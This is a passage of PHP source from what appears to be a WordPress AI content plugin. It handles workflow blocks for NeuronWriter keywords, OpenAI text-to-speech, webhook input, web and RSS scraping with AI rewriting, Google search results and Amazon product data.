                                                            {
                                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                                {
                                                                    return array($qs['terms_txt']['title'], $qs['terms_txt']['desc_title'], $qs['terms_txt']['h1'], $qs['terms_txt']['h2'], $qs['terms_txt']['content_basic'], $qs['terms_txt']['content_basic_w_ranges'], $qs['terms_txt']['content_extended'], $qs['terms_txt']['content_extended_w_ranges'], $qs['terms_txt']['entities']);
                                                                }
                                                                $block_results[$block_id] = array($current_block['type'], $qs['terms_txt']['title'], $qs['terms_txt']['desc_title'], $qs['terms_txt']['h1'], $qs['terms_txt']['h2'], $qs['terms_txt']['content_basic'], $qs['terms_txt']['content_basic_w_ranges'], $qs['terms_txt']['content_extended'], $qs['terms_txt']['content_extended_w_ranges'], $qs['terms_txt']['entities']);
                                                            }
                                                        }
                                                    }
                                                }
                                                catch(Exception $e)
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (NeuronWriter exception(2)), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to search for keywords using NeuronWriter (2): ' . $e->getMessage());
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('', '', '', '', '', '', '', '', '');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                        continue;
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (NeuronWriter Project ID not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('NeuronWriter Project ID not added in plugin settings!');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('', '', '', '', '', '', '', '', '');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                    continue;
                                                }
                                            }
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (NeuronWriter API key not added), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('NeuronWriter API key not added in plugin settings!');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'tts_openai')
                                    {
                                        $input_text = $current_block['parameters']['input_text'];
                                        $input_text = aiomatic_replace_omniblocks_data($input_text, $current_keyword, $kiwis, $block_results);
                                        $open_model_id = $current_block['parameters']['model'];
                                        $open_voice = $current_block['parameters']['voice'];
                                        $open_format = $current_block['parameters']['output'];
                                        $stability = $current_block['parameters']['stability'];
                                        if(empty($input_text))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty input_text), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty input_text provided in TTS OpenAI (ID ' . esc_html($block_id) . ')');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                        else
                                        {
                                            $result = aiomatic_openai_voice_stream($token, $open_model_id, $open_voice, $open_format, $stability, $input_text);
                                            if(is_array($result))
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (OpenAI TTS error), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('OpenAI TTS Failed (ID ' . esc_html($block_id) . '): ' . print_r($result, true));
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                }
                                            }
                                            else
                                            {
                                                $filename = uniqid() . '.' . $open_format;
                                                $local_arr = aiomatic_copy_file_locally($result, $filename, '', false);
                                                if(isset($local_arr[0]))
                                                {
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array($local_arr[0]);
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], $local_arr[0]);
                                                }
                                                else
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (OpenAI TTS failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('OpenAI TTS Error (ID ' . esc_html($block_id) . '): ' . print_r($local_arr, true));
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'webhook_fire')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Getting OmniBlock Webhook Data'));
                                        if(empty($omniWebhookID) || $omniWebhookID != $block_id)
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                aiomatic_log_to_file('Getting OmniBlock Webhook Data (this request was not called from a webhook, this OmniBlock will always return an empty string)');
                                            }
                                            $block_results[$block_id] = array($current_block['type'], array());
                                        }
                                        else
                                        {
                                            $api_key = trim($current_block['parameters']['api_key']);
                                            if (!empty($api_key)) 
                                            {
                                                if(!isset($_REQUEST['apikey']))
                                                {
                                                    aiomatic_log_to_file('Halting execution (OmniBLock Webhook API key not provided in request) (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                if($_REQUEST['apikey'] != $api_key)
                                                {
                                                    aiomatic_log_to_file('Halting execution (OmniBLock Webhook invalid API key provided in request) (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                            }
                                            if (isset($_GET['apikey'])) {
                                                unset($_GET['apikey']);
                                            }
                                            if (isset($_POST['apikey'])) {
                                                unset($_POST['apikey']);
                                            }
                                            if (isset($_REQUEST['apikey'])) {
                                                unset($_REQUEST['apikey']);
                                            }
                                            if (isset($_GET['omniblockid'])) {
                                                unset($_GET['omniblockid']);
                                            }
                                            if (isset($_POST['omniblockid'])) {
                                                unset($_POST['omniblockid']);
                                            }
                                            if (isset($_REQUEST['omniblockid'])) {
                                                unset($_REQUEST['omniblockid']);
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                aiomatic_log_to_file('Getting OmniBlock Webhook Data (from inside a successful OmniBlock Webhook request)');
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $_REQUEST);
                                        }
                                    }
                                    elseif($current_block['type'] == 'crawl_sites')
                                    {
                                        $url = $current_block['parameters']['url'];
                                        $url = aiomatic_replace_omniblocks_data($url, $current_keyword, $kiwis, $block_results);
                                        $url = preg_split('/\r\n|\r|\n/', trim($url));
                                        $url = array_filter($url);
                                        $max_chars = $current_block['parameters']['max_chars'];
                                        if(empty($url))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty scraper url), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('No URLs found in scraper input (ID ' . esc_html($block_id) . ')');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                        else
                                        {
                                            $url = $url[array_rand($url)];
                                            $scrape_method = $current_block['parameters']['scrape_method'];
                                            $scrape_selector = $current_block['parameters']['scrape_selector'];
                                            $scrape_string = $current_block['parameters']['scrape_string'];
                                            $strip_tags = $current_block['parameters']['strip_tags'];
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock website scraping results'));
                                            $scraped_data = '';
                                            if (isset($aiomatic_Main_Settings['omni_caching']) && trim($aiomatic_Main_Settings['omni_caching']) == 'on')
                                            {
                                                if(isset($omni_cache['scrape' . $url . $scrape_method . $scrape_selector . $scrape_string]))
                                                {
                                                    $scraped_data = $omni_cache['scrape' . $url . $scrape_method . $scrape_selector . $scrape_string];
                                                }
                                            }
                                            if(empty($scraped_data))
                                            {
                                                $scraped_data = aiomatic_scrape_page($url, $scrape_method, $scrape_selector, $scrape_string);
                                            }
                                            if($scraped_data === false)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (scraping error), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to scrape URL (ID ' . esc_html($block_id) . ')');
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                }
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['omni_caching']) && trim($aiomatic_Main_Settings['omni_caching']) == 'on')
                                                {
                                                    if(!isset($omni_cache['scrape' . $url . $scrape_method . $scrape_selector . $scrape_string]))
                                                    {
                                                        $omni_cache['scrape' . $url . $scrape_method . $scrape_selector . $scrape_string] = $scraped_data;
                                                    }
                                                }
                                                if($strip_tags == '1')
                                                {
                                                    $scraped_data = wp_strip_all_tags($scraped_data);
                                                }
                                                else
                                                {
                                                    $scraped_data = aiomatic_fix_relative_links($scraped_data, $url);
                                                }
                                                if(!empty($max_chars) && is_numeric($max_chars))
                                                {
                                                    $scraped_data = (strlen($scraped_data) > intval($max_chars)) ? substr($scraped_data, 0, intval($max_chars)) : $scraped_data;
                                                }
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($scraped_data, aiomatic_removeDuplicateNewLines(wp_strip_all_tags($scraped_data)));
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $scraped_data);
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'crawl_rss')
                                    {
                                        $final_res = '';
                                        $temperature = '';
                                        $max_p = '';
                                        $presence_penalty = '';
                                        $frequency_penalty = '';
                                        $rss_feeds = array();
                                        $url = $current_block['parameters']['url'];
                                        $url = aiomatic_replace_omniblocks_data($url, $current_keyword, $kiwis, $block_results);
                                        $scrape = $current_block['parameters']['scrape'];
                                        $scrape_method = $current_block['parameters']['scrape_method'];
                                        $max_chars = $current_block['parameters']['max_chars'];
                                        $prompt = $current_block['parameters']['prompt'];
                                        $prompt = aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results);
                                        $model = $current_block['parameters']['model'];
                                        $assistant_id = $current_block['parameters']['assistant_id'];
                                        if (empty($url)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty RSS URL entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty RSS feed URL entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $template = $current_block['parameters']['template'];
                                        $template = aiomatic_replace_omniblocks_data($template, $current_keyword, $kiwis, $block_results);
                                        if (empty($template)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty RSS template entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty RSS feed template entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $max_items = $current_block['parameters']['max_items'];
                                        if(!empty($max_items))
                                        {
                                            $max_items = intval($max_items);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock RSS feed scraping results'));
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Trying to parse RSS feed items: ' . $url);
                                        }
                                        try
                                        {
                                            if(!class_exists('SimplePie_Autoloader', false))
                                            {
                                                require_once(dirname(__FILE__) . "/res/simplepie/autoloader.php");
                                            }
                                        }
                                        catch(Exception $e) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to load RSS parser), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to load RSS parser (ID ' . esc_html($block_id) . ')');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $items = false;
                                        if (isset($aiomatic_Main_Settings['omni_caching']) && trim($aiomatic_Main_Settings['omni_caching']) == 'on')
                                        {
                                            if(isset($omni_cache['rss' . $url]))
                                            {
                                                $items = $omni_cache['rss' . $url];
                                            }
                                        }
                                        if(empty($items))
                                        {
                                            $feed = new SimplePie();
                                            $feed->set_timeout(120);
                                            $feed->set_feed_url($url);
                                            $feed->enable_cache(false);
                                            $feed->strip_htmltags(false);
                                            $feed->init();
                                            $feed->handle_content_type();
                                            if ($feed->error()) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (error in parsing RSS feed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Error in parsing RSS feed: ' . $feed->error() . ' for ' . $url);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                            $items = $feed->get_items();
                                            if (isset($aiomatic_Main_Settings['omni_caching']) && trim($aiomatic_Main_Settings['omni_caching']) == 'on')
                                            {
                                                if(!isset($omni_cache['rss' . $url]))
                                                {
                                                    $omni_cache['rss' . $url] = $items;
                                                }
                                            }
                                        }
                                        if(!empty($items))
                                        {
                                            foreach($items as $itemx)
                                            {
                                                $post_link = trim($itemx->get_permalink());
                                                if ($fauthor = $itemx->get_author()) 
                                                {
                                                    $user_name = $fauthor->get_name();
                                                }
                                                else
                                                {
                                                    $user_name = '';
                                                }
                                                $feed_cats = array();
                                                if(isset($itemx->category))
                                                {
                                                    foreach($itemx->category as $cata)
                                                    {
                                                        $feed_cats[] = $cata->__toString();
                                                    }
                                                    if(count($feed_cats) == 0)
                                                    {
                                                        $feed_cats[] = $itemx->category->__toString();
                                                    }
                                                    $post_cats = implode(',', $feed_cats);
                                                }
                                                else
                                                {
                                                    $post_cats = '';
                                                }
                                                $post_excerpt = $itemx->get_description();
                                                $final_content = $itemx->get_content();
                                                $rss_feeds[$itemx->get_title()] = array('url' => $post_link, 'author' => $user_name,  'cats' => $post_cats, 'excerpt' => $post_excerpt, 'content' => $final_content );
                                            }
                                        }
                                        $template_copy = '';
                                        $processed = 0;
                                        foreach($rss_feeds as $rtitle => $this_rss)
                                        {
                                            if(!empty($max_items) && $processed >= $max_items)
                                            {
                                                break;
                                            }
                                            $scraped_data = '';
                                            if($scrape == '1' && strstr($template, '%%item_scraped_data%%') !== false)
                                            {
                                                $scraped_data = aiomatic_scrape_page($this_rss['url'], $scrape_method, 'auto', '');
                                                if($scraped_data === false)
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (RSS scraping error), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to scrape URL ' . $this_rss['url'] . ' (ID ' . esc_html($block_id) . ')');
                                                    }
                                                    $scraped_data = '';
                                                }
                                                else
                                                {
                                                    if(!empty($max_chars) && is_numeric($max_chars))
                                                    {
                                                        $scraped_data = (strlen($scraped_data) > intval($max_chars)) ? substr($scraped_data, 0, intval($max_chars)) : $scraped_data;
                                                    }
                                                }
                                            }
                                            $template_copy = $template;
                                            $template_copy = str_replace('%%item_counter%%', $processed + 1, $template_copy);
                                            $template_copy = str_replace('%%item_title%%', $rtitle, $template_copy);
                                            $template_copy = str_replace('%%item_content%%', $this_rss['content'], $template_copy);
                                            $template_copy = str_replace('%%item_description%%', $this_rss['excerpt'], $template_copy);
                                            $template_copy = str_replace('%%item_url%%', $this_rss['url'], $template_copy);
                                            $template_copy = str_replace('%%item_author%%', $this_rss['author'], $template_copy);
                                            $template_copy = str_replace('%%item_categories%%', $this_rss['cats'], $template_copy);
                                            $template_copy = str_replace('%%item_scraped_data%%', $scraped_data, $template_copy);
                                            if(!empty($prompt) && !empty($template_copy))
                                            {
                                                $prompt_copy = $prompt;
                                                if(!strstr($prompt_copy, '%%current_item%%'))
                                                {
                                                    $prompt_copy .= '\n' . $template_copy;
                                                }
                                                else
                                                {
                                                    $prompt_copy = str_replace('%%current_item%%', $template_copy, $prompt_copy);
                                                }
                                                $max_tokens = aiomatic_get_max_tokens($model);
                                                $query_token_count = count(aiomatic_encode($prompt_copy));
                                                $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt_copy, $query_token_count);
                                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                {
                                                    $string_len = strlen($prompt_copy);
                                                    $string_len = $string_len / 2;
                                                    $string_len = intval(0 - $string_len);
                                                    $prompt_copy = aiomatic_substr($prompt_copy, 0, $string_len);
                                                    $prompt_copy = trim($prompt_copy);
                                                    $query_token_count = count(aiomatic_encode($prompt_copy));
                                                    $available_tokens = $max_tokens - $query_token_count;
                                                }
                                                $aierror = '';
                                                $finish_reason = '';
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $model);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for OmniBlock RSS item processing ID: ' . $block_id);
                                                    aiomatic_log_to_file('AI Prompt is: ' . $prompt_copy);
                                                }
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock AI RSS item content'));
                                                $generated_text = aiomatic_generate_text($token, $model, $prompt_copy, $available_tokens, $temperature, $max_p, $presence_penalty, $frequency_penalty, false, 'omniBlocksWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                                if($generated_text === false || empty($generated_text))
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (AI generated RSS text failed), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate non-critical OmniBlock content using AI writer (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                    }
                                                }
                                                else
                                                {
                                                    if(!empty($generated_text))
                                                    {
                                                        $template_copy = $generated_text;
                                                    }
                                                }
                                            }
                                            if(!empty($template_copy))
                                            {
                                                $final_res .= $template_copy . PHP_EOL;
                                            }
                                            $processed++;
                                        }
                                        if($final_res == '')
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (no rss data returned), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('No data returned after parsing RSS feed: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($final_res);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $final_res);
                                        }
                                    }
                                    elseif($current_block['type'] == 'google_search')
                                    {
                                        $temperature = '';
                                        $max_p = '';
                                        $presence_penalty = '';
                                        $frequency_penalty = '';
                                        $keyword = $current_block['parameters']['keyword'];
                                        $keyword = aiomatic_replace_omniblocks_data($keyword, $current_keyword, $kiwis, $block_results);
                                        $locale = $current_block['parameters']['locale'];
                                        $locale = aiomatic_replace_omniblocks_data($locale, $current_keyword, $kiwis, $block_results);
                                        $template = $current_block['parameters']['template'];
                                        $template = aiomatic_replace_omniblocks_data($template, $current_keyword, $kiwis, $block_results);
                                        $scrape = $current_block['parameters']['scrape'];
                                        $scrape_method = $current_block['parameters']['scrape_method'];
                                        $max_chars = $current_block['parameters']['max_chars'];
                                        $prompt = $current_block['parameters']['prompt'];
                                        $prompt = aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results);
                                        $model = $current_block['parameters']['model'];
                                        $assistant_id = $current_block['parameters']['assistant_id'];
                                        if(empty($locale))
                                        {
                                            if (isset($aiomatic_Main_Settings['internet_gl']) && $aiomatic_Main_Settings['internet_gl'] != '')
                                            {
                                                $locale = $aiomatic_Main_Settings['internet_gl'];
                                            }
                                        }
                                        $final_res = '';
                                        if (empty($template)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty search results template entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty search results template entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $max_items = $current_block['parameters']['max_items'];
                                        if(!empty($max_items))
                                        {
                                            $max_items = intval($max_items);
                                        }
                                        if (empty($keyword)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Google search keyword entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Google search keyword entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock Google Search results'));
                                        $internet_rez = aiomatic_internet_result($keyword, true, $locale);
                                        $processed = 0;
                                        foreach($internet_rez as $emb)
                                        {
                                            if(!empty($max_items) && $processed >= $max_items)
                                            {
                                                break;
                                            }
                                            $scraped_data = '';
                                            if($scrape == '1' && strstr($template, '%%item_scraped_data%%') !== false)
                                            {
                                                $scraped_data = aiomatic_scrape_page($emb['link'], $scrape_method, 'auto', '');
                                                if($scraped_data === false)
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (SERP scraping error), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to scrape URL ' . $emb['link'] . ' (ID ' . esc_html($block_id) . ')');
                                                    }
                                                    $scraped_data = '';
                                                }
                                                else
                                                {
                                                    if(!empty($max_chars) && is_numeric($max_chars))
                                                    {
                                                        $scraped_data = (strlen($scraped_data) > intval($max_chars)) ? substr($scraped_data, 0, intval($max_chars)) : $scraped_data;
                                                    }
                                                }
                                            }
                                            $template_copy = $template;
                                            $template_copy = str_replace('%%item_counter%%', $processed + 1, $template_copy);
                                            $template_copy = str_replace('%%item_title%%', $emb['title'], $template_copy);
                                            $template_copy = str_replace('%%item_snippet%%', $emb['snippet'], $template_copy);
                                            $template_copy = str_replace('%%item_url%%', $emb['link'], $template_copy);
                                            $template_copy = str_replace('%%item_scraped_data%%', $scraped_data, $template_copy);
                                            if(!empty($prompt) && !empty($template_copy))
                                            {
                                                $prompt_copy = $prompt;
                                                if(!strstr($prompt_copy, '%%current_item%%'))
                                                {
                                                    $prompt_copy .= '\n' . $template_copy;
                                                }
                                                else
                                                {
                                                    $prompt_copy = str_replace('%%current_item%%', $template_copy, $prompt_copy);
                                                }
                                                $max_tokens = aiomatic_get_max_tokens($model);
                                                $query_token_count = count(aiomatic_encode($prompt_copy));
                                                $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt_copy, $query_token_count);
                                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                {
                                                    $string_len = strlen($prompt_copy);
                                                    $string_len = $string_len / 2;
                                                    $string_len = intval(0 - $string_len);
                                                    $prompt_copy = aiomatic_substr($prompt_copy, 0, $string_len);
                                                    $prompt_copy = trim($prompt_copy);
                                                    $query_token_count = count(aiomatic_encode($prompt_copy));
                                                    $available_tokens = $max_tokens - $query_token_count;
                                                }
                                                $aierror = '';
                                                $finish_reason = '';
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $model);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for OmniBlock SERP item processing ID: ' . $block_id);
                                                    aiomatic_log_to_file('AI Prompt is: ' . $prompt_copy);
                                                }
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock AI SERP item content'));
                                                $generated_text = aiomatic_generate_text($token, $model, $prompt_copy, $available_tokens, $temperature, $max_p, $presence_penalty, $frequency_penalty, false, 'omniBlocksWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                                if($generated_text === false || empty($generated_text))
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (AI generated SERP text failed), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate non-critical OmniBlock content using AI writer (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                    }
                                                }
                                                else
                                                {
                                                    if(!empty($generated_text))
                                                    {
                                                        $template_copy = $generated_text;
                                                    }
                                                }
                                            }
                                            $final_res .= $template_copy . PHP_EOL;
                                            $processed++;
                                        }
                                        if($final_res == '')
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (no search results data found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('No data returned after parsing search results: ' . $keyword);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($final_res);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $final_res);
                                        }
                                    }
                                    elseif($current_block['type'] == 'amazon_product')
                                    {
                                        $asin = $current_block['parameters']['asin'];
                                        $asin = aiomatic_replace_omniblocks_data($asin, $current_keyword, $kiwis, $block_results);
                                        $aff_id = $current_block['parameters']['aff_id'];
                                        $aff_id = aiomatic_replace_omniblocks_data($aff_id, $current_keyword, $kiwis, $block_results);
                                        $target_country = $current_block['parameters']['target_country'];
                                        $target_country = aiomatic_replace_omniblocks_data($target_country, $current_keyword, $kiwis, $block_results);
                                        if (empty($asin)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty search results asin entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty search results asin entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock Amazon product details'));
                                        
                                        $max_prod = 1;
                                        $amazresult = aiomatic_amazon_get_post($asin, trim($aff_id), $target_country, '', '', '', $max_prod, '1', array());
                                        if(is_array($amazresult) && isset($amazresult['status']) && $amazresult['status'] == 'nothing')
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (No results found for keyword search), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('No results found for keyword search: ' . $amazon_kw);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
